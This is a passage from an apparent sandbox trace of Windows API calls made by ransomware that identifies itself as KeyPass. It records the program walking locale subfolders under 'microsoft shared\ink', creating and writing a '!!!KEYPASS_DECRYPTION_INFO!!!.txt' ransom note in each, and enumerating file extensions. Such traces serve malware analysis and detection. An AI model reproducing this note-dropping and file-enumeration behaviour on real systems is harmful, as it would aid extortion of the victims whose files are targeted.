wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.690] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.690] GetLastError () returned 0x3f0 [0239.691] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.691] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c8 [0239.692] GetFileType (hFile=0x4c8) returned 0x1 [0239.692] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.692] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.692] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.693] WriteFile (in: hFile=0x4c8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.693] WriteFile (in: hFile=0x4c8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.693] CloseHandle (hObject=0x4c8) returned 1 [0239.694] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05e40 [0239.694] FindNextFileW (in: hFindFile=0xd05e40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.694] FindNextFileW (in: hFindFile=0xd05e40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.694] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.694] FindNextFileW (in: hFindFile=0xd05e40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.694] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned=".mui" [0239.694] FindNextFileW (in: hFindFile=0xd05e40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.694] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.694] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.694] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.694] GetLastError () returned 0x3f0 [0239.694] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.694] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc [0239.696] GetFileType (hFile=0x4cc) returned 0x1 [0239.696] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.696] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.696] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.697] WriteFile (in: hFile=0x4cc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.699] WriteFile (in: hFile=0x4cc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.700] CloseHandle (hObject=0x4cc) returned 1 [0239.700] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05e00 [0239.700] FindNextFileW (in: hFindFile=0xd05e00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.700] FindNextFileW (in: hFindFile=0xd05e00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.700] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.700] FindNextFileW (in: hFindFile=0xd05e00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.700] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned=".mui" [0239.700] FindNextFileW (in: hFindFile=0xd05e00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.700] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.701] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.701] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.701] GetLastError () returned 0x3f0 [0239.701] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-CS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.701] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0239.703] GetFileType (hFile=0x4bc) returned 0x1 [0239.703] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.703] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.703] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.703] WriteFile (in: hFile=0x4bc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.704] WriteFile (in: hFile=0x4bc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.704] CloseHandle (hObject=0x4bc) returned 1 [0239.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06100 [0239.705] FindNextFileW (in: hFindFile=0xd06100, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.705] FindNextFileW (in: hFindFile=0xd06100, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.705] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.705] FindNextFileW (in: hFindFile=0xd06100, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.705] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned=".mui" [0239.705] FindNextFileW (in: hFindFile=0xd06100, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.705] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.705] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.705] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.705] GetLastError () returned 0x3f0 [0239.705] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.705] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0239.707] GetFileType (hFile=0x4d0) returned 0x1 [0239.707] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.707] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.707] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.707] WriteFile (in: hFile=0x4d0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.708] WriteFile (in: hFile=0x4d0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.708] CloseHandle (hObject=0x4d0) returned 1 [0239.709] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06140 [0239.709] FindNextFileW (in: hFindFile=0xd06140, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.709] FindNextFileW (in: hFindFile=0xd06140, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.709] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.709] FindNextFileW (in: hFindFile=0xd06140, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.709] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui") returned=".mui" [0239.709] FindNextFileW (in: hFindFile=0xd06140, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.709] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.709] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.709] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.709] GetLastError () returned 0x3f0 [0239.709] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.709] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4 [0239.710] GetFileType (hFile=0x4d4) returned 0x1 [0239.710] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.710] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.710] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.710] WriteFile (in: hFile=0x4d4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.711] WriteFile (in: hFile=0x4d4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.711] CloseHandle (hObject=0x4d4) returned 1 [0239.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05c40 [0239.712] FindNextFileW (in: hFindFile=0xd05c40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.712] FindNextFileW (in: hFindFile=0xd05c40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.712] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.712] FindNextFileW (in: hFindFile=0xd05c40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.712] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned=".mui" [0239.712] FindNextFileW (in: hFindFile=0xd05c40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.712] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.712] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned=".dll" [0239.712] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.712] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned=".dll" [0239.712] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.712] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned=".exe" [0239.712] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.712] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.712] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.712] GetLastError () returned 0x3f0 [0239.713] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.713] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc [0239.715] GetFileType (hFile=0x4dc) returned 0x1 [0239.715] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.716] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.716] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.716] WriteFile (in: hFile=0x4dc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.717] WriteFile (in: hFile=0x4dc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.717] CloseHandle (hObject=0x4dc) returned 1 [0239.717] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05c00 [0239.717] FindNextFileW (in: hFindFile=0xd05c00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.717] FindNextFileW (in: hFindFile=0xd05c00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.717] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.717] FindNextFileW (in: hFindFile=0xd05c00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.717] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned=".mui" [0239.717] FindNextFileW (in: hFindFile=0xd05c00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.718] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.718] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned=".dll" [0239.718] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.718] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned=".dll" [0239.718] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.718] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll") returned=".dll" [0239.718] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.718] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll") returned=".dll" [0239.718] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.718] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll") returned=".dll" [0239.718] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.718] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.718] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.718] GetLastError () returned 0x3f0 [0239.718] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.718] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0239.719] GetFileType (hFile=0x4e0) returned 0x1 [0239.719] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.719] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.719] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.719] WriteFile (in: hFile=0x4e0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.720] WriteFile (in: hFile=0x4e0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.720] CloseHandle (hObject=0x4e0) returned 1 [0239.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05dc0 [0239.721] FindNextFileW (in: hFindFile=0xd05dc0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.721] FindNextFileW (in: hFindFile=0xd05dc0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.721] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.721] FindNextFileW (in: hFindFile=0xd05dc0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.721] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui") returned=".mui" [0239.721] FindNextFileW (in: hFindFile=0xd05dc0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.721] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.721] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.721] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") 